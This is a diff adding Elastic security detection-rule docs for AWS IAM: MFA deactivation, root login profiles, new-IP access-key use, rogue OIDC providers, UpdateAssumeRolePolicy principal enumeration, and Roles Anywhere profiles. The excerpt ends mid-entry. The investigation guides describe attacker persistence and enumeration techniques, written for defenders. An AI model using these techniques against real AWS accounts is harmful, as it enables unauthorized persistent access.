Enable GuardDuty or Security Hub findings for IAM anomaly detection related to account takeover or configuration changes. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html[DeactivateMFADevice API Reference]** +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail + and event.provider: iam.amazonaws.com + and event.action: DeactivateMFADevice + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-login-profile-added-for-root.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-login-profile-added-for-root.asciidoc new file mode 100644 index 0000000000..e0b3738bce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-login-profile-added-for-root.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-20-aws-iam-login-profile-added-for-root]] +=== AWS IAM Login Profile Added for Root + +Identifies creation of a console login profile for the AWS account root user. While CreateLoginProfile normally applies to IAM users, when performed from a temporary root session (e.g., via AssumeRoot) and the userName parameter is omitted, the profile is created for the root principal (self-assigned). Adversaries with temporary root access may add or reset the root login profile to establish persistent console access even if original access keys are rotated or disabled. Correlate with recent AssumeRoot/STS activity and validate intent with the account owner. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Login Profile Added for Root* + + +This rule detects when a console login profile is created for the AWS root account. +A login profile enables password-based console access, and because the root user has unrestricted privileges, creating one is an extremely high-impact event. Adversaries who temporarily gain root-level credentials (for example, through an STS session or credential compromise) may use `CreateLoginProfile` without specifying a `userName` to add a password to the root account. This grants persistent access even if the attacker’s API keys are later rotated or disabled. + + +*Possible investigation steps* + + +**Assess the timing and context of the event** +- Review the `@timestamp` to determine when the `CreateLoginProfile` call occurred. + - Correlate this time window with other root or IAM activity such as `AssumeRoot`, `GetSessionToken`, `ConsoleLogin`, or `CreateAccessKey`. + - Check for follow-on activity, especially `ConsoleLogin` events or `UpdateLoginProfile`, which may indicate that the root password was used immediately after creation. + +**Investigate event origin and session details** +- Review `source.ip` and `user_agent.original`: + - Determine if the request originated from an expected network range, VPN endpoint, or geolocation. + - Identify whether the access was interactive (for example, browser or AWS console) or automated (`aws-cli`, SDK, or API client). +- Examine `aws.cloudtrail.user_identity.access_key_id` and associated STS session context to see if temporary credentials were used. +- Compare this event’s IP and access key to any other recent CloudTrail activity to identify potential lateral movement or multi-account access attempts. + +**Analyze the login profile creation** +- Review `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements`: + - Check whether `passwordResetRequired` was set to `true` or omitted, absence may imply that the attacker created a password they intend to reuse. +- Cross-reference this action with previous failed login attempts, password recovery requests, or `AssumeRoot` behavior. + +**Correlate related identity and access behavior** +- Search for additional IAM management activity: + - `AttachUserPolicy`, `AttachRolePolicy`, or `PutUserPolicy` granting elevated permissions. + - New `AccessKey` creation or `UpdateAccessKey` events tied to the same session. +- Review GuardDuty findings or any other detections referencing this account or IP around the same time period. +- If available, correlate with CloudTrail to detect if other resource creation or configuration changes followed the login profile addition. + +**Validate with account owner or authorized personnel** +- Contact the designated account or root credential owner to confirm whether this action was intentional (for example, during an account recovery). +- Review any internal change-management or service ticketing systems for an approved request matching this activity. + + +*False positive analysis* + + +Although rare, legitimate scenarios include: +- **Authorized account recovery** : An administrator or AWS Support might temporarily add a root login profile to regain access. Validate against documented recovery workflows. +- **Controlled testing or sandbox environments** : Certain sandbox accounts may reuse root credentials for automation or demonstration purposes. Tag and exclude these accounts from this rule where appropriate. +- **Automated provisioning** : Review any account bootstrap or recovery automation scripts that may invoke `CreateLoginProfile` on root credentials. + +For any potential false positive, verify that: +- The `source.ip` and `user_agent.original` values align with expected administrative locations and tools. +- The change was recorded during a maintenance window or known security operation. + + +*Response and remediation* + + +> Any unapproved creation of a login profile for the root account is a critical security incident requiring immediate containment and credential rotation. + +**Containment** +- Delete the newly created root login profile if it was not authorized. +- Rotate the root account password using AWS’s official password-reset workflow. +- Revoke any active sessions, temporary credentials, or tokens associated with this event. +- Verify that multi-factor authentication (MFA) is enabled and functioning on the root account. +- Check that no root access keys exist — if present, remove them immediately. + +**Investigation and scoping** +- Examine CloudTrail logs from 30 minutes before and after this event to identify correlated actions. +- Capture and securely store these logs in an isolated S3 bucket with Object Lock enabled to preserve forensic integrity. +- Investigate for additional IAM or STS operations by the same `access_key_id` or IP address that may indicate privilege escalation or persistence attempts. +- Review whether any new IAM roles, users, or policies were created in proximity to this event. + +**Recovery and hardening** +- Reset the root password and distribute the new credentials securely to authorized custodians only. +- Ensure MFA is enforced for all administrative and root-level access. +- Audit all IAM policies for least-privilege adherence, focusing on `iam:CreateLoginProfile`, `iam:UpdateLoginProfile`, and `iam:CreateAccessKey` permissions. +- Enable Cloudtrail, GuardDuty, AWS Config, and Security Hub across all regions for continuous monitoring of root and IAM activity. +- Review your organization’s playbooks and detection coverage for root-level persistence techniques, and update procedures as needed. + +**Post-incident actions** +- Notify AWS account owners and your security operations center of the incident. +- Conduct a post-mortem to determine the initial vector of compromise (e.g., stolen credentials, misconfigured role chaining, or insufficient MFA). +- Update alerting thresholds and detection logic to minimize mean time to detect (MTTD) and respond (MTTR). + + +*Additional information* + + +- **AWS Incident Response Playbooks** + - https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-CredCompromise.md[IRP-CredCompromise] – Containment and recovery for suspected credential abuse. +- **AWS Customer Playbook Framework** + - https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Compromised_IAM_Credentials.md[Compromised_IAM_Credentials.md] – Steps to contain, investigate, and recover from credential compromise. +- **AWS Documentation** + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html[CreateLoginProfile API Reference] + - https://docs.aws.amazon.com/IAM/latest/UserGuide/root-user-best-practices.html[Root User Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +any where event.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "CreateLoginProfile" + and aws.cloudtrail.user_identity.type == "Root" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "userName=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc new file mode 100644 index 0000000000..9191d720dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-20-aws-iam-long-term-access-key-first-seen-from-source-ip]] +=== AWS IAM Long-Term Access Key First Seen from Source IP + +Identifies the first time, within the configured history window, that a long-term IAM access key ID (prefix AKIA) is used successfully from a given source.ip in AWS CloudTrail. Long-term access keys belong to IAM users or the account root user. They are a common target after credential theft or leakage, including supply-chain and exposed-key scenarios. Temporary security credentials (prefix ASIA) and console sessions are excluded so the signal emphasizes programmatic access patterns. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Long-Term Access Key First Seen from Source IP* + + +This rule is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] detection on CloudTrail. It fires when a successful API call uses a long-term IAM access key (`AKIA*`) from a `source.ip` that has not appeared with that key in the rule history window. + +Long-term keys are high-value targets. Unlike session credentials (`ASIA*`), they do not expire until rotated or deleted. Threat reporting on cloud compromises often highlights abuse of leaked or stolen `AKIA` keys. + + +*Possible investigation steps* + + +**Confirm the key and principal** +- Identify the IAM user or root context implied by `aws.cloudtrail.user_identity.arn` or `user.name`. +- **`aws.cloudtrail.user_identity.type`**: Distinguish `IAMUser`, `Root`, or other types; root long-term keys warrant extra scrutiny. + +**Assess the new source** +- **`source.ip`** and **`source.geo`**: Compare to normal geography, corporate egress, and known cloud provider ranges. +- **`user_agent.original`**: Identify AWS CLI, SDKs, custom tooling, or unusual agents. + +**Correlate activity** +- Search CloudTrail for the same access key and IP over the following hours for sensitive APIs (IAM changes, STS, S3 data access, Secrets Manager, role assumption). +- Review IAM last-used metadata for the key in the AWS console or API (`GetAccessKeyLastUsed`). + + +*False positive analysis* + + +- Travel and VP* for human IAM users. +- New CI runners, ephemeral build agents, or re-IP'd NAT gateways for automation keys. +- Partner or MSP access from new networks if keys are shared (discouraged practice). + + +*Response and remediation* + + +- If unexpected, deactivate or delete the access key, rotate credentials, and review policies attached to the user. +- Enable or enforce MFA for console users; prefer roles and temporary credentials over long-term keys for workloads. +- Document approved networks or principals and tune history or exceptions accordingly. + + +*Additional information* + + +- https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/aws-security-incident-response-guide.pdf[AWS Security Incident Response Guide] + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.outcome: "success" + and source.ip:* + and aws.cloudtrail.user_identity.access_key_id: AKIA* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-oidc-provider-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-oidc-provider-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..33d4b2c558 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-oidc-provider-created-by-rare-user.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-aws-iam-oidc-provider-created-by-rare-user]] +=== AWS IAM OIDC Provider Created by Rare User + +Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateOpenIDConnectProvider.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM OIDC Provider Created by Rare User* + + +OpenID Connect (OIDC) providers in AWS IAM enable web identity federation, allowing external identity providers to authenticate users who then assume IAM roles. Common legitimate use cases include GitHub Actions accessing AWS resources, Kubernetes pods authenticating to AWS, and web applications using social login. + +This rule detects the first time a specific user or role creates an OIDC provider within an account. While OIDC provider creation is common in some environments, a new user creating one for the first time warrants validation to ensure it's authorized. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine who created the OIDC provider. + - Check if this user has created OIDC providers before in other accounts. + +- **Review the OIDC provider details** + - Examine `aws.cloudtrail.request_parameters` for the provider URL and client IDs. + - Identify the external IdP (e.g., GitHub, Google, custom provider). + +- **Validate business justification** + - Confirm with DevOps or platform teams whether this aligns with CI/CD pipeline setup. + - Check for related change tickets or infrastructure-as-code deployments. + +- **Check for follow-on activity** + - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that trust the new OIDC provider. + - Look for `AssumeRoleWithWebIdentity` calls using the newly created provider. + +- **Correlate with other suspicious activity** + - Check for preceding privilege escalation or credential access events. + - Look for other persistence mechanisms being established concurrently. + + +*False positive analysis* + + +- **CI/CD pipeline integration** + - GitHub Actions, GitLab CI, and other CI/CD systems commonly use OIDC for AWS authentication. + - Validate against known DevOps workflows. + +- **Kubernetes federation** + - EKS and self-managed Kubernetes clusters may use OIDC providers for pod identity. + - Confirm with platform engineering teams. + +- **Infrastructure-as-code deployments** + - Terraform, CloudFormation, or other IaC tools may create OIDC providers. + - Verify via CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, delete the OIDC provider using `DeleteOpenIDConnectProvider`. + - Review and remove any IAM roles that trust the rogue provider. + +- **Investigation** + - Audit CloudTrail for any `AssumeRoleWithWebIdentity` calls using this provider. + - Review all IAM roles with web identity trust relationships. + +- **Hardening** + - Restrict `iam:CreateOpenIDConnectProvider` permissions to authorized roles. + - Implement SCPs to control OIDC provider creation in member accounts. + - Enable AWS Config rules to monitor identity provider configurations. + + +*Additional information* + +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html[AWS IAM OIDC Providers Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateOpenIDConnectProvider" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc new file mode 100644 index 0000000000..3f4a30f494 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-aws-iam-principal-enumeration-via-updateassumerolepolicy]] +=== AWS IAM Principal Enumeration via UpdateAssumeRolePolicy + +Detects repeated failed attempts to update an IAM role’s trust policy in an AWS account, consistent with role and user enumeration techniques. In this technique, an attacker who controls credentials in the current account repeatedly calls UpdateAssumeRolePolicy on a single role, cycling through guessed cross-account role or user ARNs as the principal. When those principals are invalid, IAM returns MalformedPolicyDocumentException, producing a burst of failed UpdateAssumeRolePolicy events. This rule alerts on that brute-force pattern originating from this account, which may indicate that the account is being used as attack infrastructure or that offensive tooling (such as Pacu) is running here. Note: this rule does not detect other accounts enumerating roles, because those API calls are logged in the caller’s account, not the target account. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.praetorian.com/blog/aws-iam-assume-role-vulnerabilities +* https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Discovery +* Tactic: Credential Access + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Principal Enumeration via UpdateAssumeRolePolicy* + + +This rule detects bursts of failed attempts to update an IAM role’s trust policy — typically resulting in `MalformedPolicyDocumentException` errors — which can indicate enumeration of IAM principals. +Adversaries who have obtained valid AWS credentials may attempt to identify roles or accounts that can be assumed by repeatedly modifying a role’s trust relationship using guessed `Principal` ARNs. +When these principals are invalid, IAM rejects the request, creating a recognizable sequence of failed `UpdateAssumeRolePolicy` events. + +Because this is a threshold rule, it triggers when the number of failures exceeds a defined count within a short period. This pattern suggests brute-force-style enumeration rather than normal misconfiguration. + + +*Possible investigation steps* + + +- **Validate the context of the threshold trigger** + - Review the `@timestamp` range for when the burst occurred and the number of failed attempts in the threshold window. + - Identify whether all failures targeted the same `RoleName` or multiple roles — targeting a single role is often indicative of brute-force enumeration. + - Confirm the source identity and IP address (`aws.cloudtrail.user_identity.arn`, `source.ip`, `user_agent.original`) to determine whether these calls originated from a known automation process or an unexpected host. + +- **Correlate with other IAM activity** + - Look for any subsequent successful `UpdateAssumeRolePolicy` or `AssumeRole` calls, which may indicate the attacker eventually discovered a valid principal. + - Search for reconnaissance-related API calls (`ListRoles`, `ListUsers`, `GetCallerIdentity`) before the threshold event — these often precede enumeration bursts. + - Investigate whether other suspicious role- or identity-related actions occurred near the same timeframe, such as `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy`. + +- **Identify infrastructure patterns** + - Examine the `user_agent.original` field — the presence of automation frameworks or penetration tools (e.g., “Boto3”, “Pacu”) may signal offensive tooling. + - Review the `source.ip` or `cloud.account.id` fields to see whether this account may be acting as attacker-controlled infrastructure attempting to enumerate roles in other environments. + +- **Validate authorization** + - Confirm with your DevOps or Cloud IAM teams whether any expected testing, migration, or cross-account role configuration changes were planned for this time period. + - If the identity performing these actions does not typically manage IAM roles or trust relationships, escalate for investigation as a possible credential compromise. + + +*False positive analysis* + + +- **Legitimate automation retries** + - Continuous integration or configuration management systems may retry failed IAM API calls during deployment rollouts. + If the same IAM role was being updated as part of a known change, validate the timing and source identity before closing as benign. +- **Misconfigured scripts or infrastructure drift** + - Scripts that deploy trust policies using outdated or invalid ARNs can cause repetitive failures that mimic brute-force patterns. + Review the `RoleName` and `Principal` ARNs included in the failed requests to confirm if they correspond to known but outdated configurations. + + +*Response and remediation* + + +- **Immediate review and containment** + - Investigate whether the source account is being used for offensive operations or compromised automation. + - Disable or suspend the IAM user or access key responsible for the enumeration burst. + - If activity originated from a workload or CI/CD system, audit its access keys and environment variables for compromise. + +- **Investigation and scoping** + - Review CloudTrail logs for other IAM or STS actions from the same source in the preceding and following 24 hours. + - Check for any successful privilege changes (`PutRolePolicy`, `AttachRolePolicy`, or `AssumeRole`) by the same identity. + - Determine if other roles in the same account experienced similar failed updates or bursts. + +- **Recovery and hardening** + - Rotate credentials for any identities involved. + - Limit permissions to modify trust policies (`iam:UpdateAssumeRolePolicy`) to a small set of administrative roles. + - Enable AWS Config rule `iam-role-trust-policy-check` to detect overly permissive or unusual trust relationships. + - Use AWS GuardDuty or Security Hub to monitor for subsequent privilege escalation or reconnaissance findings. + - Review the event against AWS Incident Response Playbook guidance (containment > investigation > recovery > hardening). + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "UpdateAssumeRolePolicy" + and aws.cloudtrail.error_code: "MalformedPolicyDocumentException" + and event.outcome: "failure" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-roles-anywhere-profile-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-roles-anywhere-profile-creation.asciidoc new file mode 100644 index 0000000000..7816121dd1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-roles-anywhere-profile-creation.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-aws-iam-roles-anywhere-profile-creation]] +=== AWS IAM Roles Anywhere Profile Creation + +Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html +* https://docs.datadoghq.com/security/default_rules/cloudtrail-aws-iam-roles-anywhere-trust-anchor-created/ +* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/ +* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateProfile.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Roles Anywhere Profile Creation* + + +AWS IAM Roles Anywhere allows external workloads — such as CI/CD runners, on-premises systems, or third-party services — +to assume IAM roles securely by presenting a certificate from a trusted anchor. A profile defines the IAM roles that +can be assumed, the trust anchor they are associated with, and session duration limits. + +This rule detects when a new Roles Anywhere profile is created using the `CreateProfile` API call. Unauthorized profile +creation can enable persistent external access if tied to over-privileged roles or to trust anchors associated with +unauthorized certificate authorities (CAs). Monitoring profile creation is crucial to ensuring that only approved roles +and anchors are in use. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine + which IAM user, role, or principal created the profile. + - Check whether this identity normally manages Roles Anywhere configurations. + +- **Review profile configuration** + - Inspect `aws.cloudtrail.request_parameters` for key values such as: + - `profileName` + - `roleArns` – confirm that the listed IAM roles are expected and not overly permissive. + - `trustAnchorArn` – verify the trust anchor is valid and authorized. + - `durationSeconds` – check for unusually long session durations. + - Determine if multiple roles were attached, which may indicate excessive privilege aggregation. + +- **Correlate related activity** + - Check for prior or concurrent events by the same actor, including: + - `CreateTrustAnchor` with external or unauthorized certificate authorities. + - `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy` for privilege escalation paths. + - Review whether subsequent `AssumeRoleWithCertificate` events occurred, indicating use of the new profile. + +- **Assess the source context** + - Investigate `source.ip`, `user_agent.original`, and `source.geo` fields to identify if this request originated from an unfamiliar host, region, or automation client (e.g., `boto3`, `curl`, custom SDKs). + - Compare to baseline patterns of legitimate IAM or infrastructure automation. + +- **Validate legitimacy** + - Contact the responsible team (e.g., platform, PKI, or IAM administration) to confirm whether this profile creation + aligns with approved change management or onboarding activities. + + + +*False positive analysis:* + + +- **Legitimate administrative actions** + - IAM or PKI engineers may legitimately create profiles during setup of new external integrations or workloads. + Validate against change control records and deployment logs. +- **Authorized automation** + - Infrastructure-as-code (IaC) pipelines (Terraform, CloudFormation, etc.) may automatically create 